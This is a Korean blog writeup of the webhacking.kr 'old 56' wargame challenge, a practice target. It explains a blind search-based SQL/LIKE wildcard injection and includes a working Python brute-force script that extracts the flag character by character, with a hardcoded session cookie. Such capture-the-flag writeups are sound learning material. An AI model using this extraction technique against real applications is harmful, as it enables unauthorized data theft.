webhacking.kr old 56번 문제풀이(Writeup)
문제를 들어가면 위와 같이 출력된다. 이번 문제도 SQL Injection 문제인 것 같다. 게시판 형태의 SQL 문제가 나오면 columns 값을 찾아서 필요한 내용을 출력하는 문제가 많았다. 하지만 search에서 union select를 아무리 해도 결과값이 나오지가 않아서 다른 방법을 찾았다.
다른 게시판 문제를 풀 때는 search에서 안에 내용을 기반으로 검색을 했다. 따라서 안에 내용이 포함되면 검색 결과에 나왔고, 불일치하면 나오지 않았다. 그래서 검색을 돌려보니 hi했을 때는 admin만 결과로 나왔고, hello를 했을 때, guest가 나왔다.
이 모습을 보니, exploit코드로 Blind SQL Injection 할때처럼 공격을 주입하면 flag를 맞출 수 있을 것이라고 생각했다.
따라서 앞에는 "flag{"로 시작할 것이다. 또 와일드카드(_)를 통해 몇자리인지 맞춰봤다. 44자리까지는 결과가 출력되는데 45개부터는 결과 값이 없어진다. 따라서 44개로 해서 내용을 맞춰보기로 했다.
exploit코드를 짜서 실행해보니 %가 계속 출력된다. 생각해보니 %도 와일드카드여서 %는 제외하고 exploit코드를 작성해야 한다.
import requests
URL="https://webhacking.kr/challenge/web-33/index.php"
cookie = {"PHPSESSID":"1iekt4q9nbhhs8chjdi6n5ejqa"}
pw='flag{'
for i in range(5,45):
for j in range(33,133):
if j == 37:
continue
data = {"search":pw+chr(j)}
r = requests.post(URL, cookies=cookie, data=data)
if "admin" in r.text:
pw += chr(j)
print(pw)
break
exploit 코드는 다음과 같다. 먼저 "flag{ "까지 알고 있으니 반복문은 5에서부터 시작해서 44까지 돌아간다. 그 안에서 "%"는 와이들 문자이기에 제외하고, search가 post메소드이기에 data에 넣어서 전달한다. r 텍스트에 admin이 있으면 맞는 flag 문자고 아니면 넘긴다.
마지막 문자는 당연히 '}'일 것이다. flag를 입력하면 점수가 들어온다.
'웹해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr old 44번 문제풀이(Writeup) (0) | 2022.10.31 |
---|---|
webhacking.kr old 49번 문제풀이(Writeup) (0) | 2022.10.30 |
webhacking.kr old 59번 문제풀이(Writeup) (0) | 2022.10.28 |
webhacking.kr old 61번 문제풀이(Writeup) (0) | 2022.10.27 |
webhacking.kr old 51번 문제풀이(Writeup) md5(,true) 취약점 (0) | 2022.10.26 |